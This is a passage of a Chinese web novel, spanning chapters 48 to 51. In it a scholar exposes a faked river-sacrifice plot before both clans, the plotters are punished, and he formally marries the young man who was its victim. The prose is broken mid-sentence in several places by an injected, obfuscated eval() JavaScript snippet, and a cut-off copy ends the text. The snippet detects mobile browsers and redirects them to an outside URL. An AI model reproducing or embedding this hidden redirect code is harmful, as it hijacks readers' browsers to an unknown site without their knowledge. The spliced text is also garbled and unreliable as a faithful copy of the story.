庄聿白提着杏篮出来时，族中乡邻已将地上众人捆绑起来。 兴二自是不服，梗着脖颈，趁乱朝天空放了一个烟花弹。 “有援手！”明眼人一看便知这是暗号。 族长看了看祠堂众人，老幼妇孺皆有，看来庄家这次真是有备而来。孟知彰和云无择抵挡个十个八个悍匪自然不在话下，若是对方来的人多，难免不会伤及无辜。 “关大门！老人孩子妇人从祠堂后门撤。回家后紧闭院门，凭谁来也不开！” 族长号令一下，紧张甚至恐慌的情绪开始在人群中弥散，角落中还有小孩子吓得放声嚎哭。 庄聿白的心，也跟着揪起来。 忽然祠堂外一阵喊打声四起，且越来越近。 孟知彰一时不确定外面情形如何，稳妥起见，他让庄聿白跟着柳婶刘叔等一起初去避避。 庄聿白扯住孟知彰的袖子，此事皆因自己而起，自己无论如何不会离开。 “砰砰砰”，祠堂大门被拍响。 整个祠堂静下来，连方才大哭的孩子都住了声。 “哈哈哈哈，怕了吧！等着受死吧！敢打我？现在就让你们十倍百倍还回来！” 院外地上，被捆成一团的兴二仰天一阵狞笑，眼神发着狠，恨不能当即就把庄聿白生吞活剥了。 “砰砰砰”，院门声又起。 一声声像是铁锤砸在庄聿白心头，他紧锁眉头。今日这手似乎粘在孟知彰袖子上，越攥越紧。 孟知彰拍拍庄聿白肩头，眼神满是安抚，正欲转身上前探视情况，却听门外道： “云公子、孟公子，歹人悉数就擒！” 院内外一阵沉静。 最先变了脸色的，是被胡乱扔在地上的兴二。满脸泥血下，近乎癫狂的笑意瞬间僵住，难以置信、愤怒绝望的情绪在脸上来回交替，最后目瞪口呆定在那，狰狞又滑稽。 庄聿白满脸诧异看着孟知彰，一时有些不明所以。难道外面来的不是庄氏援手？ 云无择递了个眼神，刘叔忙跑去开门。 沉重的黑漆木门打开，和院外飞扬的尘土一起闪进来的，是七八个手持棍棒的武僧。动作利落，脚法如飞。 为首一人，棍棒收于身后，单掌施礼：“云公子、孟公子，歹人有三四十，已全部绑在外面。” “有劳各位小师父，剩下的事交与我们便是。”孟知彰对着众武僧也恭敬行了一礼，“此处还有一些俗事要商议，便不留诸位。”说罢，又将目光看向云无择。 云无择心中了然，笑笑：“想来长庚师父正在陪我阿爹喝茶。我和小师父们正好也去讨一盏！” 族长让人跟着武僧将外面的援手绑了，一并看管起来。 目睹全过程的刘金花和庄皓仁，此时也没比地上的兴二好到哪里去。只是作为庄家来议事之人，并没有将他们绑起来，基本的体面还是给到了。 既然打不过，那就讲理吧。 刘金花将上次来退婚时所带来的草帖和定帖又带了来，看看庄皓仁，从袖子中掏出个钱袋。脸上勉强挂上些笑容。 “孟书郎，婶子我知道你是个好孩子，最通情达理。这是此前的五两银子聘礼，我们原封不动返回。这亲事就此作罢吧。此外这十两银子，算是补偿。你拿去好好去读书，将来考个功名什么样的找不到呢。求你高抬贵手，放过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14976651|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们聿哥儿吧。” 刘金花说得情真真意切切，眉眼一耷娇弱弱就要哭：“若实在不行，婶子给你跪下了。” 孟知彰自是不吃她这套，正色道：“你可知何为定聘？” 刘金花从手帕子里茫然地抬起眼睛，不知这孟知彰又要怎么套她的话。 孟知彰居高临下不屑地瞥了庄氏之人一眼：“诸位今日来退婚，不知是求的是哪位瘟神，才能给到这样一个大凶卦签。” 庄皓仁背起手，族长家二公子的派头不能丢：“我看孟书郎读书读糊涂了。退婚而已，哪里需要求神卜卦！” “是么？”孟知彰看着庄皓仁，大有咄咄逼人之势：“据我大恒律法：‘已投婚书及有私约而撤悔者，杖六十，更许他人者，杖一百，已成者徒一年，追归前夫。’说得直白些，就是今日你们悔婚另许他人之事，我若报了官。这货真价实的一百杖，就稳稳落下来了。” 到底是读书人，刘金花一听，又是报官又是杖责的，顿时怕了。张着嘴半日不知该站还是该跪。 马婆子在旁边哭边给自己儿子擦脸，此时却听得明白，忙上前提醒刘金花：“娘子休被他唬住。他说的‘已投婚书’才会这般处罚。眼前不是没有婚书么。” 一句话提醒刘金花：“是啊，眼下还没有婚书！没有婚书就不算。孟书郎你休要拿大话来吓唬我……我可不怕！你们这么大的家族，不能不讲道理，更不能仗势欺人。聘礼留下，人，我们还是要带走的。” “不急。”孟知彰踱起步子，“方才的话后面还有半句：‘虽无许婚之书，但受聘财亦是’。是你亲口所称，那五两银子是聘礼。你既收了我孟家的聘礼……算了，多说无益，我们还是报官吧！” 一百杖，正常壮丁都难扛住。吴家聘礼固然重要。但命没了，要那么多钱给谁花。刘金花想了想，立马又变了态度。 “别报官！别报官！两家多年交情，报官岂不伤了和气。既然有律法在那摆着……这退亲的事，咱们暂缓再议，暂缓、暂缓。” 刘金花眼不错珠地盯着孟知彰，看对方似乎打消了报官的念头，又想起另外一事，一方手帕在手上绞成条绳。 “听闻聿哥儿最近赚了不少钱。不管退不退亲，他这都属于还未出阁。这没出阁时赚的钱，是不是该给娘家……” 孟知彰轻轻摇摇头，走到庄聿白跟前，轻声道：“家中所有钱财，你说了算。” “一文没有。”庄聿白冷冷扔了句话，根本没给刘金花正眼，也不打算留任何情面。 刘金花笑脸贴了冷屁股。孟知彰她不敢硬怼，可她自己手下磋磨惯的小崽子竟然也敢跟自己炸翅膀，这还得了！ 刘金花一时气不过，边骂边要向往日般来打庄聿白：“短命的小杂种，我好吃好喝把你拉扯这么大，你良心让狗给吃了！到头来你向着外人，只一味在外面偷汉子……” “啪！”一语未了，刘金花脸上结结实实挨了一鞋底。 牛婶实在气不过，边穿鞋边指着刘金花道：“教你这个烂舌头的胡吣！这孩子能在你手底下长大，已经算是老天爷格外护佑了。你自己做的那些缺德事，当我们都耳聋没听说过么！真把自己当长辈了！你也配！” 打也打不过，说也没地说。刘金花闹了一场，人财两失，颜面扫地，见大势已去，也知道占不到什么便宜了，以免吃到更大的亏，便起身急着要走。 谁知不等走到大门，被孟知彰拦了去路：“来都来了，两族之人皆在，有一事，不如现在说明的好。” “……何事？”刘金花的声音都颤了。孟知彰眼底浮起的阴鸷狠厉之气，似从阴曹地府升起的鬼火，使她脖颈发凉，不寒而栗。 “祭河。庄氏一族将我夫郎祭了河。这笔账，是时候算一算了。” 49. 巫觋 刘金花闹这一大场，孟家村乡邻也大致明白个来龙去脉。 眼前这位叫琥珀的小哥儿，根本不是孟知彰的表弟，而是他未过门的夫郎。不知为何眼下还没成亲呢，就自己跑到夫家，还住下来。 虽是定了亲也下过聘，到底没完婚，孟氏族人大多了解孟知彰品性，也相信他的为人。但这事似乎不那么合乎礼法。娘家这次带族人上门来讨人，某种程度上好像也说得过去。 孟氏族人虽反感刘金花的作派，对这位族长家次子的处事行动也不甚看得惯，确实也有一些人认为娘家今日将人带走并非全是无理取闹。只是不该拜高踩低悔婚再许别家，更不该带这些悍匪一样的莽汉来抢人。 庄氏族人跟来的十几人，一则看在庄皓仁族长家的面子，二则觉得庄聿白这孩子着实可怜，来看看是不是真的死里逃生了。当然他们也不知道此行还带了打手，更不知刘金花脚踩两只船，退婚再议亲。 孟知彰先是将刘金花带来打手悉数拿下，又将律法搬出来，若刘金花今日退亲便会将人一举送官。刘金花无计可施，便准备从长计议，先走为是。 哪知孟知彰却将众人拦下来。 全场人，认识的不认识的，都已见识过孟知彰的手段。年纪不大，却有超乎常人的矜持稳重，是文雅书生却又有赳赳武将的杀伐果决。 不论在黑白两道逞凶的悍匪，还是刘金花和兴二这等市井中撒泼耍混的无赖，在孟知彰看来不费吹灰之力就能治得服服帖帖，毫无伎俩可施。 孟氏祠堂内，当着孟氏祖宗的面，当着自己恩师的面，当着孟庄双方族人的面，当着乡邻亲友的面，孟知彰巍然挺立于当庭，浩然凛凛。 他说出庄氏全族为免水灾而祭河之事。 他说出祭河仪式上，愚昧族人听信巫觋之言，将无辜少年当众献祭之事。 他说出献祭少年满心欢喜期待的婚礼，不过是一场处心积虑的杀人祭礼。 他说出少年死里逃生来至孟家村，制作金玉满堂，研制兰花炭，供自己读书赴试，帮扶有所需之乡邻，更将农田亟需堆肥术倾囊授与孟氏族人…… 他说出孟氏族人将少年视作福星、贵客。 他说出少年继母或许是贪图几两银子而退亲再许，或许有其他更见不得人的阴谋…… 听罢，全场哗然。 “闻所未闻，朗朗乾坤竟然有将人生祭的！” “他可是我们孟家村的‘贵客’！若之前被他们害死……” “这么好一个孩子，你们把他扔河里淹死？真是瞎了眼，黑了心！” 众乡邻将庄家之人团团围住，有性子急的已要挥拳过来。刘金花早挨了几拳，蹲在地上抱头尖叫。 孟知彰挥手制止乡邻的愤怒，此时用暴力解决不了问题。 他将少年带至身边，带至众人面前。 当着孟氏祖宗的面，当着自己恩师的面，当着孟庄双方族人的面，当着乡邻亲友的面，高声说出那句：“这位便是庄聿白，我孟知彰的——结发夫郎。” 游刃有余，又像蓄谋已久。 庄聿白从未想过会以这样的身份，当众站在孟知彰身边。 可他没有别的选择。 人群中直直聚焦过来的目光，并不全是善意和祝福。 未婚同居，虽有婚约算不上私奔，但在古代也并不是什么光彩之事。人群中的不和谐目光，让庄聿白的神情闪过那么一丝不自然。 这丝不自然恰好落入孟知彰眸底。他朝庄聿白又迈近半步，健硕的影子倾斜下来，竟将庄聿白稳稳围罩住。 “上天护佑我家夫郎，将他送至我孟知彰家中。他温和善良，此前被心歹之人百般凌辱，今既进了我孟家之门，我孟知彰只要还有一口气，就决不允许旁人再动他一根汗毛！” 一番话掷地有声。庄聿白心中暖意汹涌，长这么大，似乎还从未有人当众这般维护过自己。身边的身影更加坚实巍峨。 孟知彰侧侧身，对上看向自己的视线，温和点点头，意思是放心，他必将护他周全，也定能护他周全。 旋即孟知彰换了副面孔，低眉菩萨忽而变成怒目金刚，威严的目光在刘金花和庄皓仁之间来回横扫。 “祭河之事，究竟是神意，还是人为呢？” 庄氏族人中有人不乐意了，这是在明晃晃质疑他们宗族祭祀活动，怒道：“自然是神的旨意，这岂能有假！河神心意岂是你我能揣测的？小心遭天谴！祭河之后，角江并没有再有水患，淮南今年夏收也顺利，这难道不是河神的恩典？” “哦？这是河神亲口告诉你的？”孟知彰看了那人一眼，眼神很淡，带来的威压却足以让人心颤。 那人还想呛声两句，抬头撞上孟知彰的眼神，瞬间噤了声。他没去过地狱，但他可以肯定，地狱之火也没有此刻孟知彰眼神可怕。 孟知彰朝人群外招下手，等在外面的牛大有和炭窑上帮工的乡邻，连拖带拽带来一个人。 牛大有将人丢在地上。庄聿白往那人脸上看去，仔细认了片刻，才认出这是去淮南作法的巫觋。脱去那身装束，换了寻常衣衫，倒一时让人认不出来了。 巫觋人群中一看到庄皓仁，连滚带爬爬到庄皓仁身边，死死拽住大腿：“二爷你救救我啊。我人都快到京城了，他们还是把我抓回来……你救救我！” 庄皓仁下意识往后躲了几步，一脸震惊，不等他开口，那巫觋忽想到什么：“二爷！我可什么都没说。你帮帮我。我还有些银子，你救我出去，我都给你。” 庄皓仁紧皱眉头，一脚将地上巫觋踢开，嫌弃地掏出一方丝帕擦手：“你胡说什么！哪里来的叫花子，我不认识你！” “二爷，我是那个巫觋庄老六啊。上次祭河咱不是……” 庄皓仁怕他当众乱说话，忙换了副嘴脸：“巫觋先生，原来是你……”他将人好生从地上扶起来，一只手却从下掐住那假巫觋胳膊，眼神中全是警告和威胁。 牛大有几步走到孟知彰身边：“知彰，我们一路寻到京郊才捉住此人。寻到他时，他正在京郊一个村子里给人作法催生，干的全是坑蒙拐骗的龌龊事。” 庄氏族人也认出这地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982698|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上之人，又听牛大有这般说，皆面面相觑。往日通灵问神的座上宾，今朝换了衣服怎会变成如此不堪之辈。此前坚定不移的祭祀神明的信念，随着地上巫觋撒泼哀求的举动正一点点碎掉。 “祭河，从头至尾不过是一个局。不知这做局之人，究竟是何目的？”孟知彰没有拐弯抹角，并将狠厉目光直接锁定庄皓仁。 庄皓仁的腿还被假巫觋死死抱着，千斤重的目光又从头顶压下来，着实有些吃不消。他掏出丝帕擦了擦额头之汗，惊慌失措又语无伦次。 “祭河明明是祈福驱灾的好事，怎会是局？退一万步讲，我们这也是根据巫觋先生传达的河神旨意来办事。即便是局……那也是巫觋先生的事。此事问他就好了。族中还有事，我先走了。” “你不能走！”那巫觋知道，此时若放走庄皓仁，说不定自己还没被送官呢，就不小心死在了什么地方，“二爷当真这么绝情！将所有事全推与我不成？” “你少胡说！我哪知道你是个假巫觋！此刻还想来攀咬我！是你要害我们聿哥儿。”庄皓仁见孟家村的人明里暗里维护庄聿白，一门心思撇清关系，“孟书郎，原来祭河之事都是这个假巫觋搞的鬼，烦劳赶紧将他送官！” 庄皓仁慌不择路就要走，孟知彰给牛大有递了个眼神，牛大有上前将人拦住。 “皓仁兄，莫急。”孟知彰钳住庄皓仁手腕，将人又拉回巫觋面前。“既然人已经在这了，不防听听这假巫觋如何辩解？” 庄皓仁试图挣扎，谁知这是书生手竟像铜铸铁造一半，让人半点动弹不得。庄皓仁被捏得直龇牙咧嘴，但也只能受着。 孟知彰将人往巫觋跟前又递了半分：“假扮巫觋，你这属于谋财害命。按大恒律法，斩立决。但若有其他主谋……” 话只说到一半，孟知彰定定看着地上的假巫觋。 假巫觋听到“斩立决”三个字魂都要吓飞了，后来又听到问有无其他主谋，当即明白这是在给自己机会。 方才庄皓仁假装不认识自己时，地上假巫觋已经知道，这庄皓仁不仅指望不上还准备咬死自己，将所有脏水倒自己身上，他好干净抽身。你不仁，就休怪我不义。 假巫觋看着孟知彰手中的庄皓仁，冷笑两声：“庄二爷，真是贵人多忘事。用人来献祭，不正是你的主意么？还告诉我那小哥儿年方几何、是何模样，不然真当我能通灵，能和河神搭上话？” “你敢污蔑我！”庄皓仁气急败坏上来要去撕打假巫觋，早被几个乡邻拦住。 “污蔑？”事已至此，假巫觋一不做二不休，继续道，“难道不是二爷说的，我只需扮成巫觋，趁着平安州水患来族中游说一通，到时再装模作样做两场法事，这事就齐了？二爷还说保我平安进京，并给了我10两银子。这种伤天害理之事，我原本不愿意的，还好心劝你，那孩子只是不小心撞破了你的事，没必要赶尽杀绝。可……可你不听啊！” 一席话罢，全场议论四起。 众人将注意力放在假巫觋身上时，庄皓仁却如阴司厉鬼，悄无声息挪到庄聿白身边。 50. 报答 用活人生祭，已经让众人出乎愤怒。背后竟还是与人苟且这等见不得人的勾当。众乡邻越听越气，人群中的怒火谴责的声浪，恨不能将庄皓仁和假巫觋一并淹没。 庄皓仁知道今日八成是脱不了身，他瞅准时机，猛然起身，从袖子中抽出一把短刀，恶狠狠朝庄聿白的喉咙刺去。 若今日注定栽在这里，至少要把这个扫把星当垫背的带走。 庄聿白定在那里，假巫觋的话确实让他震惊不已，刚说的是原主……撞破庄皓仁的苟且行为？ 他不觉去搜索记忆中的相关场景。庄聿白平时不太出门，更是鲜少见到庄皓仁这位族长家的二公子，何谈能见到他偷情？庄聿白极力翻找原主和庄皓仁为数不多的交集场景。 去年新岁全族贺禧时，原主站在闹吵吵的小孩子堆里，远远看见族长一家，当然也包括这位族长家次子。再此前，原主孩童时从学中回家，若是路过族长家都尽量绕开些，因为族长家二公子养了条肥狗，没事总爱怂恿狗追咬别人来取乐。 庄聿白视线瞥到刘金花，她一双杏目正怒视地上的假巫觋，眼中的仇视与愤怒似乎并不比庄皓仁少半分。光影交叠，这个眼神，如一个索引，庄聿白从原主众多记忆碎片，精准翻到阴暗潮湿的那一页。 早春的一个深夜，庄聿白在房中沉睡正酣，忽一个冰凉的巴掌用力拍在自己脸上。 “庄聿白，别睡了！我课业丢在路上了，你陪我去找！”庄鹏程一张圆脸怼过来，又在庄聿白脸上狠拍几下。 课业丢在路上？庄聿白迷迷糊糊坐起身，朝外屋外看了看，怯怯地问：“……现在么？” “当然是现在！你想我明早到学中被先生惩罚是不是！”庄鹏程虽小几岁，但长得圆头圆脑壮实得很，一下就把庄聿白从床上拽出来扔到地上。 无论长相还是行为做派，庄鹏程与庄父、庄聿白都甚为不同。庄聿白一直觉得他和族长家放狗咬人的那个儿子倒是很像，当然庄聿白也说不出具体哪里像，大概是都爱捉弄人吧。 庄聿白揉了揉磕破皮的膝盖，刚拿了件外衣，就被庄鹏程拉出门去。一盏油灯，寒风中两个身影往村外走去，越走越远，人烟也越来越少。 看到村外一个破屋时，庄鹏程停下来，颐指气使命令庄聿白：“你，去那屋里找找！” “课业，落在了那里？” “少废话，快去！小心我揍你！” 庄鹏程并没有将灯给他。好在月色尚明，庄聿白借着月光一步一步朝破屋走去。 这是一间年久失修的茅屋，早已无人居住，庄聿白不明白庄鹏程怎会将课业丢在这。屋门掩着，他正要伸手去推门，却被门内传来的声音吸引。 粗重喘·息声交·缠在内，一声闷似一声。木板家具咯吱乱响，似还有肢体碰·撞的声音。各种声音交错混杂，节奏越来越快，越来越急，也越来越狠，终于挤出几声悠长的呻·吟。 庄聿白后背一阵发冷，手脚冰凉定在原地。 难道是……鬼？！ “啊——”庄聿白失声叫出来。 这一叫不要紧。房内之声骤停，接着一阵骚动，急促脚步声下，房内“哐啷”打开。 冰冷的月光下，继母刘金花出现在门内，一双杏目圆睁正怒视面前的庄聿白，眼中的仇视与愤怒恨不能当即活剥了他。 “……继母？您也是来给弟弟找课业的么……” 原主并不知房内旖旎春光，也并不知道撞破了什么苟且之事。但此时的庄聿白，却对上了这个公案。奸夫是庄皓仁，那□□…… 庄聿白向前一步，不等他当众说出与庄皓仁行苟且之人，却觉身下陡然一空，一阵失重眩晕后，定了定神，才发现自己正被人稳稳抱在怀里。 孟知彰的胸膛宽广阔朗，或许是被方才刺来的那一刀吓到了，庄聿白下意识靠上去，踏实、安心。 庄皓仁被几个乡邻七手八脚按在地上，手上短刀踢落一旁，满脸汗泥狼狈不堪，也顾不得自己精心维持的公子哥形象，对着庄聿白正破口大骂，污言秽语，不忍逐听。 孟知彰将怀中人紧了紧，朝牛大有递了个眼神。牛大有点头去了，不知哪里铲来一锹秽土，直接塞进庄皓仁口中。 自己丧尽天良，设计将人生祭，不仅不知悔改，东窗事发后，还要当众杀人灭口。庄皓仁这下惹了众怒，乡邻纷纷捡起石子、泥块，砸向这个背德之人。 至此，水落石出，真相大白。 孟家村众人将地上的奸夫□□并那假巫觋一并绑了，扔在牲口圈中。第二日一早写状子、送官。 庄鹏程等在村外，原是跟来看热闹的。毕竟还是个孩子，孟知彰并未让人为难他，而是着人妥当送回家去了，当然一并送去的，还有今日这祭河背后的完整故事。至于庄父还认不认这个儿子，这顶绿帽如何戴，那是他自己的事。或许，头上这顶绿帽，他自己早知颜色深浅。 既然被当众祭了河，庄聿白这个人，与庄家，与庄氏一族便无任何情分可言。当着两族众人直面，庄聿白写下一纸《断亲协议》，破指画押，郑重与庄父断绝父子关系，从今之后，庄聿白与庄家不再有任何瓜葛。 兴二带来的这些打手，手里都多少有些不清不楚的，也一起送官去查了查，果真藏着几个作奸犯科的通缉犯，这下也算为民除了害。 兴二没被送官，而是扔到通往镇子上的一条路上。他向来跋扈，多年来在隔壁镇子上也结了不少梁子。后来都传被行走的马帮打断了一条腿，只是不知左腿右腿还是第三条腿。马婆子哭得死去活来，听说很快哭瞎了一双眼。 祭河一案虽骇人听闻，但并不复杂，官中判决很快下来。鉴于受害者庄聿白并未身死，庄皓仁和刘金花未判死刑，刺字，流放三千里，去西境荒芜之地垦荒服刑去了。假巫觋作为重要从犯，刺字，流放两千里，去南越毒瘴之地。路远山遥，到底能不能留口气到达流放之地，那就看各自造化了。 案子层层递上去，东盛府知府闻之大怒，他震惊于乡民的愚昧无知，朗朗乾坤竟会有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986554|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此骇人听闻之事发生。整个淮南村，凡参与祭河之人，罚缴夏收税粮三倍之量，十日内交齐。辖区内贴了告示，若今后乡民敢有类似之举，定将重重治罪。 * 喧嚣尘土终于落定，庄聿白在孟家村的身份算是明了了。 最开心的是牛婶，他拉着庄聿白高兴得不知说什么好，就像佛前求了多年的愿望，忽然一朝成了真。 “成亲的喜被，我做了两床。眼下家中又攒了些钱，我给你准备个妆奁柜。”牛婶恨不得庄聿白和孟知彰明天就把堂给拜了。 庄聿白一脸窘迫，耳朵根红得像滴血。牛婶一声声催婚中，庄聿白的头越垂越低，脸越来越烫，恨不能找条地缝钻进去。 孟知彰看出庄聿白的窘境，侧身将他挡在身旁：“牛婶，婚礼不急。我和琥珀商量过了，当下重要的是秋季院试。我现在一身白衣，也给不了他什么。等考个功名，再风风光光将这婚礼补上。” 背对祠堂的喧闹，孟知彰和庄聿白一起走上回家的路。 还是那个熟悉的院落，还是那间早已习惯的茅屋，两人的关系却已不同。出门是兄弟，再回来，却成了众人认可、将要携手一生的合法夫夫。 四野寂静，灯苗冉冉。 “孟兄，谢谢你。”庄聿白声音很小。 孟知彰没说话，一个淡淡的眼神递过来，似乎在问“谢什么？” 庄聿白也知道仅仅一句口头的谢谢，太苍白，也太过敷衍。 今日人家算是救了自己一命。滴水之恩涌泉相报，救命之恩……庄聿白一时也不知如何报答。或许他心底闪过一个如何报恩的影子，只是碍于直男情面，实在开不了这个口。 “你在想如何报答我？”孟知彰语气淡淡，听不出任何情绪。 心思被无情拆穿，庄聿白叹口气，抬起乌溜溜的眼珠看向对方，大有一股慷慨就义的气概。 虽直男大旗高举，庄聿白对男男之事还是知道一些。不就是脱衣上床，这样那样一番么？ 说归说，只是他没做过，不知道如何实操。 但他庄聿白绝非那知恩不报之人，若今日孟知彰坚持要，他……灯一吹，眼一闭，给就给了吧。 灯影摇曳下，庄聿白的心也跟着一缩一抽，他看着孟知彰从那灯光中走来，慢慢靠近，硕大的身影将自己一点一点吞噬…… 庄聿白屏住呼吸，喉结却不自觉滚了滚。 难道今晚就是我庄聿白的初夜了？庄聿白紧张得直搓手。 “睁眼。”孟知彰的声音从头顶传来。 庄聿白猛吸一口气，或许过于紧张，不知何时他竟将眼睛紧紧闭上。他将眼睛睁开一条缝，却从递到自己面前的一封红色帖子上看到赫然写着的两个字——“婚书”。 “今日起，你就是我孟知彰的夫郎了。天地为证，双方族人为证，恩师为证，亲朋为证。” 果然，男人都是下半身驱动型动物。只是读书人多了个仪式感。非得将婚书拿出来，讲究持证上岗。 51. 和离 一纸婚书递到庄聿白手上。他知道自己在劫难逃了。 孟知彰称暂时不准备婚礼，等院试结束后再议。可如他孟知彰所言，今日在孟氏祠堂，他当着所有人的面，公布二人为合礼合法夫夫。现场天地为证，双方族人为证，师长为证，亲朋为证。 这与完婚又有什么区别？ 不，有区别。这最后一个环节，洞房，不是还没入呢么。 庄聿白心里长长叹口气，将婚书拿在手中翻来覆去，打开合上，合上又打开。婚书中遒劲不失清俊的小楷，一看就是出自孟知彰手笔。 庄聿白借着灯光细细翻着。他心中乱得很，所有字也只是在他眼中过了一遍。他从头看到尾，又从尾看到头，只记得上面“孟知彰”“庄聿白”“永结同好”几个字。其他内容便如燕临清池，影过了无痕。 这真的不是梦么？怎么就结婚了？还是和一个男人！ 孟知彰坐在一旁，静静看着他，不近不远。 良久，缓声道：“虽同庄家断了交，但定帖中的嫁妆，一分不能少。改日我让大有去淮南讨回来，全部当成你的傍身之资。” 见庄聿白没有阻拦，孟知彰又拿出庄聿白睡觉时搂着的那个钱袋：“家中银钱全部出自你手，目前这十几两银子也全部列入嫁妆清单。” 庄聿白知道，古代嫁妆属于女子个人资产，夫家无权处置，哪怕离婚这嫁妆也由女方全部带走。不过眼下已经到家产处置阶段，看情形自己是跑不掉了。 “你我既为夫夫，理所应当同进同退，荣辱与共。” 庄聿白坐在那光影里，听孟知彰往下说。一杯水递过来，他下意识接过，抿了口放在身旁的桌面上。视线不及从水杯上挪开，另一只杯子放在自己这只杯子的近旁。 杯影重叠，同频晃动。这是婚礼誓言吗？长这么大，从来没有人跟自己说过什么同进退同荣辱的话。庄聿白他心中有股说不出的情绪，又满涨，又空落落的。 “你我既为夫夫，理所应当我主外、你主内。我潜心科考，而你操持家中事务，房前院后，迎来送往。” ……嗯，画风是不是换的有点快？ 椅面有东西硌了一下，庄聿白欠欠身，不自然地调整坐姿。这是PUA立规矩吗？以及……我庄聿白是下面的？ 心中白眼滚过，庄聿白很想立马起立抗争些什么。既然是夫夫，也别限定得那么死。你有的，我也有！我庄聿白主外、在上，也完全没问题。 但孟知彰没给他机会，他将自己的水杯推了推，离庄聿白的杯子更近些。杯影自然也跟过来，和人一般强硬、强势，几乎将庄聿白的杯子整个罩住。 “你我既为夫夫，理所应当万事以我为先。你的行动，你的念头，你的一颦一笑，你的哀乐喜怒，皆需随我心意而动。” 孟知彰似乎和这杯子杠上了，又向前推了一些。庄聿白那只杯子已被孟知彰的背影全然压住。 这是试探，还是服从性测试？有那么一瞬，庄聿白甚至怀疑自己拿的不是婚书，而是卖身契。 奇怪的静谧充斥着房间的每个角落，连墙角的草虫也静下来。几个呼吸间，庄聿白下定决心去移开自己的杯子。凭什么要活在你的影子里？凭什么要被你压，要被你操控！ 可不等他动手，忽然眼前一空。 先他一步，孟知彰将自己那只杯子取走。光线重新笼罩下来，给庄聿白那只披上一层温暖的金色。可接着落下来的一句话，让庄聿白愣在原地。 “但理所应当，就理应如此？就必须如此么？”清晰，果决，掷地有声。 “……什么？”庄聿白看着立在光中的杯子，或许盯得太久，他需要分散一下尴尬情绪，或者争取一些时间来思考。他端起杯子抿了口。茶水清凉，却冲不淡眼前人的言行带来的困惑。 “你我之间不需要那些‘理所应当’。我不希望这所院落，不希望世俗中的这些‘理所应当’，不希望这纸婚约，我更不希望我这个人，成为束缚你、困住你的枷锁。” “……嗯？”庄聿白皱起眉头，这话有些抽象，可怎么又有些让人感动？就好莫名。 “我希望，你与我结合，是心甘情愿的，是水到渠成的……”孟知彰眸底闪过从未有的温柔和体贴，赤裸又坦诚。 这些话并非一时兴起。 没人知道孟知彰在这次“祠堂定亲”背后下了哪些功夫。马婆子母子不会无缘无故找上刘金花。刘金花不会那么顺利说服庄皓仁带着族人兴师动众到孟家村讨人，还特意挑选了孟氏一族夏祭这样全族皆在的大场合。当然还有那已经逃去京郊的假巫觋，怎么这么容易就被捉到了…… 灯光从知彰宽阔的颈背照过来，随着身影晃动，不时漏出些光线撞入庄聿白眸底，忽明忽暗，忽远忽近。他的心像被一片硕大的羽毛包裹起来，丝丝缠绕，痒痒撩过。 庄聿白迷离着双眼。后知后觉抓到关键词——结合？！ 嗐！说了这大半天，原来只是前戏！到头来，还不是为那点事铺垫？懂了！ 今天从踏入这个房门起，庄聿白已经做好献身的准备了。兄弟，直接来吧。 什么心甘情愿，什么水到渠成，没关系的，男子汉大丈夫，流血牺牲都不怕，这点小事，他自己完全能够消化掉，没什么大不了。也不会往心里去，放心好了。 见孟知彰眉间情绪晦朔难明，似乎还在犹豫要不要再铺垫些什么。庄聿白不想再等了，长痛不如短痛，他给了对方一个坚定的眼神： 兄弟，别念叨了。提枪上马吧。 孟知彰似乎没有接收到他的诚挚“邀请”，怔了片刻，眼神似有若无地扫过庄聿白眼尾的那抹朱红色泪痣，默默转身朝书架走去。 哈？这唱的是哪一出？不来吗？庄聿白有些困惑，旋即又明白过来。不能硬来，要做些准备的。 第一步，选姿势。 作为新时代青年，常见的男男常识还是有被成功科普到的，基本知识也曾被动掌握涉猎过一二。这姿势么，无外乎前口口还是后口口。 至于选定姿势之后具体再怎么操作，交给孟知彰好了。他口头都能预热那么久，想必其他部位的预热早就绪了。 毕竟这是“报恩行为”，师出有名。既然报恩，那就要以对方喜好为准则。庄聿白原想迁就对方，让孟知彰来选。转念一想，终归这是自己的“第一次”。 好兄弟，干这事……面对面，多少有些不好意思。 庄聿白原本坐在床边正对着孟知彰，见对方定定站在书架旁翻着什么，根本没留意他这边的行动，又神不知鬼不觉默默背过身去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 